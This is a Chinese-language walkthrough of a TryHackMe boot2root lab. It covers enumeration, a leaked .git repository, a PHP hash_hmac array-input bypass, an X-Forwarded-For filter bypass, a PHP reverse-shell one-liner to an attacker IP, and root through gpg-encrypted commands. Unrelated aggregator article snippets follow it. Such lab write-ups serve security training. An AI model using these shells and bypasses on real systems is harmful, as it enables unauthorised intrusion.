TryHackMe-harder(boot2root)

harder

结合真实的渗透测试结果。该机器的灵感完全来自现实世界的渗透测试结果。也许你会认为它们非常具有挑战性,但没有任何兔子洞。一旦你有一个 shell,知道使用哪个底层 Linux 发行版以及某些配置的位置是非常重要的。


端口扫描

循例 nmap

在这里插入图片描述

Web枚举

进80

在这里插入图片描述

目录扫描

上gobuster,发现报错,原因是不管请求的页面存不存在,都是200,仅在页面内容显示404

在这里插入图片描述

上ffuf

在这里插入图片描述

扫到phpinfo和vendor

继续对vendor扫,一层层扫进去最后无果

在这里插入图片描述

在查看响应的时候发现响应头有个域名

在这里插入图片描述

将其添加进hosts

在这里插入图片描述

进入pwd子域,是一个登录框

在这里插入图片描述

随手一个admin:admin,进去

在这里插入图片描述

gobuster扫一波,有东西

在这里插入图片描述

发现有.git,直接上githacker

在这里插入图片描述

PHP代码审计

得到三个php文件

在这里插入图片描述

有利用价值的信息在hmac.php

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

这段代码利用$secret将host变量进行sha256加密然后将加密的host 即$hm与h进行是否相等判断,虽然我们不知道$secret的值,但是在代码中,会利用$n变量进行sha256加密然后赋值给$secret

目前就是要想办法利用$n将$secret变得可控

在php hash_hmac官方文档当中,有一条有意思的评论

在这里插入图片描述

其实这里就是利用了hash_hmac的data参数只允许string的问题,如果data是非字符串,则函数直接返回空

利用这一点,我们就可以利用$n来控制$secret

在这里插入图片描述

丢到靶机,可以看到状态码已经是200,说明通过了,但是仍然没有数据

在这里插入图片描述

在index.php当中也导入hmac.php,去那边试试

在这里插入图片描述

得到了一组新凭据和一个子域

在这里插入图片描述

将子域添加进hosts,进去看看

在这里插入图片描述

又是这个登录框,使用刚刚获得的凭据登录

在这里插入图片描述

使用X-Forwarded-For轻松绕过

在这里插入图片描述

Reverse Shell

能执行命令

在这里插入图片描述

这里使用php来getshell

cmd=php+-r+'$sock%3dfsockopen("10.9.62.153",8888)%3bpopen("/bin/sh+<%263+>%263+2>%263",+"r")%3b'

值得注意的是,shellcode必须是/bin/sh而不是bash,因为靶机根本没有/bin/bash

在这里插入图片描述

user flag

在这里插入图片描述

横向移动

find www用户所有文件

在这里插入图片描述

给了evs的凭据,这docker里su没有suid,无法直接su过去,所有需要在外面ssh登录

在这里插入图片描述

在这里插入图片描述

权限提升

但这个脚本的注释给出的信息,说明可能还有其他脚本

在这里插入图片描述

这里是利用gpg加密需要执行的命令然后使用execute-crypted命令执行

在这里插入图片描述

这里只需要跟着脚本中说的做即可,但首先需要找到公钥,之后才能使用公钥加密

在这里插入图片描述

执行命令的文件./cmd

在这里插入图片描述

导入公钥

在这里插入图片描述

利用公钥加密

在这里插入图片描述

开启nc监听,execute-crypted执行cmd.gpg

在这里插入图片描述

getroot

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.kler.cn/a/5304.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ShaderGraph前言

学习思路 线性代数要学习&#xff0c;也可以通过sg辅助学习线性代数。数据/公式图形化可视化观察记忆可以利用Preview Node和ZGrapher曲线工具。降维理解&#xff0c;3维降2维2维降1维参数多改多看多思考复杂运算常量化&#xff0c;遇到复杂运算过程可以尝试设定常量&#xff…

大屏使用dv-digital-flop定时刷新显示总人数

本文在基础上进行改进&#xff0c;后端使用若依后端IofTV-Screen: &#x1f525;一个基于 vue、datav、Echart 框架的物联网可视化&#xff08;大屏展示&#xff09;模板&#xff0c;提供数据动态刷新渲染、屏幕适应、数据滚动配置&#xff0c;内部图表自由替换、Mixins注入等功…

一文实战 | RISC-V Linux入口地址2M预留内存优化

上篇分析了RISC-V Linux启动之页表创建&#xff0c;提到RISC-V Linux入口地址必须2M对齐&#xff0c;今天讲讲如何解决2M对齐的问题&#xff0c;或者说如何优化部分内存。 注意&#xff1a;本文基于linux5.10.111内核 内存占用分析 每颗芯片在出厂时&#xff0c;其bootrom就已…

二值mask转polygon/RLE (coco segment格式)

coco数据集annotation的segmentation并不是二值mask&#xff0c;而是polygon格式&#xff0c; 看一个annotation. {"segmentation": [[510.66,423.01,511.72,420.03,510.45......]], #两两组成(x,y)坐标&#xff0c;polygon格式"area": 702.1057499999998…

Leetcode: 236.二叉树的最近公共祖先

文章目录Leetcode:236.二叉树的公共祖先题目描述示例思路分析代码实现Leetcode:236.二叉树的公共祖先 题目描述 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖…

医用超声检查设备

1.探头 线阵探头 孔径大&#xff0c;近场视野宽&#xff0c;分辨率好&#xff0c;旁瓣影响小 线阵探头的中心频率一般是7MHZ以上&#xff0c;探测深度比较浅&#xff0c;通常检查肌骨、血管、乳腺、动脉等表浅器官及组织等部位&#xff0c;所以也叫“浅表探头”。 凸阵探头 凸…

无线耳机哪个品牌好?四大国内蓝牙耳机品牌排行

现今&#xff0c;蓝牙耳机越来越成为人们外出必备的数码产品之一。随着蓝牙耳机品牌的增多&#xff0c;多种多样的蓝牙耳机出现在大众视野&#xff0c;而国产蓝牙耳机凭借更高的性价比而受到不少用户的欢迎。接下来&#xff0c;我来给大家推荐四款国产的蓝牙耳机&#xff0c;一…

软件工程导论(四)总体设计(临时)

模块耦合及其分类 A&#xff1a;定义 耦合&#xff1a;是对一个软件结构内不同模块间互连程序的度量。耦合强度取决于模块接口的复杂程度、通过接口的数据等。耦合度越高&#xff0c;模块独立性越弱 B&#xff1a;分类 耦合度从低到高 数据耦合标记耦合控制耦合公共耦合内容…

49天精通Java,第21天,Java内部类,看看文心一言、ChatGPT怎么说

目录文心一言谈Java内部类ChatGPT谈Java内部类下面来聊聊哪吒的见解。一、为什么需要内部类&#xff1f;二、内部类分为四种三、成员内部类1、什么是成员内部类2、代码实例3、成员内部类进阶代码实例4、控制台显示5、外部类访问内部类四、局部内部类五、匿名内部类1、匿名内部类…

TypeScript学习笔记一

文章目录一、类型注解二、TypeScript常用类型2.1 原始类型2.2 数组类型2.3 联合类型2.4 类型别名2.5 给函数添加类型2.6 对象类型2.7 对象的可选属性2.8 接口2.9 interface和type的对比2.10 接口继承2.11 元组2.12 类型推断2.13 类型断言2.14 字面量类型2.15 枚举2.16 any类型2…

OSPF(开放式最短路径优先协议2)

OSPF的不规则区域 远离骨干的非骨干区域 不连续骨干 使用tunnel隧道 在R2和R3之间构建一条隧道&#xff0c;之后&#xff0c;将这个隧道宣告到Area0&#xff0c;相当于将R3这个非法的ABR设备合法 化。 使用vpn隧道解决不规则区域的问题 可能产生选路不佳可能造成重复更新因为…

写毕业论文经验贴

首先说一句不要靠近word&#xff0c;会变得不幸。最好用latex写&#xff0c;不过我当时懒得下载latex了&#xff0c;于是后期改格式花了点时间 写论文之前 事先把所有的论文都查好并且整理好&#xff0c;论文第一、二章写起来就会很快&#xff1b; 把实验做顺溜&#xff0c;实…

设计模式-设计原则

设计原则 1.依赖倒置 高层不应该依赖低层&#xff0c;两者应该都依赖于抽象 抽象不应该依赖具体实现&#xff0c;具体应该依赖于抽象 自动驾驶系统公司是高层&#xff0c;汽车生产商是底层&#xff0c;自动驾驶系统不应该依赖于各种车型系统底层进行实现&#xff0c;因为这是…

Markdown pandoc-crossref自定义图表前缀(解决figureTitle和tableTitle被XeLaTex忽略的问题 )

pandoc-crossref可以很方便地进行交叉引用&#xff0c;在Github下载对应pandoc的版本&#xff1a; pandoc-crossref-release 找好下载exe就可以了。可能踩的一些坑可以看这个博客&#xff0c;我用它解决了找不到pandoc-crossref可执行文件的问题&#xff08;你需要把pandoc-c…

期货黄金交易平台重要吗?有哪些显著的期货黄金交易平台优势?

黄金交易平台就是可以在其上面做黄金买卖交易的系统&#xff0c;是一种依靠行业应用软件而搭建的平台&#xff0c;里面会包含一些交易指标、趋势图表、K线。市场上的黄金交易平台很多&#xff0c;只有正规的期货黄金交易平台才值得信任。主要还是因为期货黄金交易平台优势所决定…

【Redis】十大数据类型(下篇)

文章目录redis位图(bitmap) --- 底子还是string基本命令图示setbit key offset value setbit 键 偏移位 只能零或者1getbit key offset 查看获取字符串长度 strlen统计key中包含1的个数 bitcount keybitop 统计两个比特key是否都为1技术落地&#xff1a;打卡签到&#xff0c;频…

24、基于原型的切比雪夫低通滤波器设计理论(插入损耗法)

24、基于原型的切比雪夫低通滤波器设计理论&#xff08;插入损耗法&#xff09; 基于原型的滤波器设计是设计的一个基础的方法&#xff0c;虽然在现在有更加强大的自动化工具能够取代它&#xff0c;但是如果要进行理论研究仍需要对其有所了解。 写此文的初衷并非是介绍切比雪…

Spring Cloud Sentinel实战(三)- Sentinel流控规则

Sentinel流控规则 流控规则基本介绍 名词解释 资源名&#xff1a;唯一名称&#xff0c;默认请求路径针对来源&#xff1a;Sentinel可以针对调用者进行限流&#xff0c;填写微服务名&#xff0c;默认default&#xff08;不区分来源&#xff09;阈值类型/单机阈值&#xff1a; …

ThinkPHP大学生招聘管理系统

有需要请私信或看评论链接哦 可远程调试 ThinkPHP大学生招聘管理系统一 介绍 此大学生招聘管理系统基于ThinkPHP框架开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户&#xff0c;企业和管理员三种。用户可以注册登录&#xff0c;编辑个人简历&#x…

读spring源码

Bean创建的生命周期 UserService.clas–>推断构造方法–>对象–>依赖注入—初始化前&#xff08;Postconstruct&#xff09;—>初始化&#xff08;AfterPropertiesSet&#xff09;—>初始化后(AOP)—>代理对象–>放入Map(单例池)—Bean对象 推断构造方法…
最新文章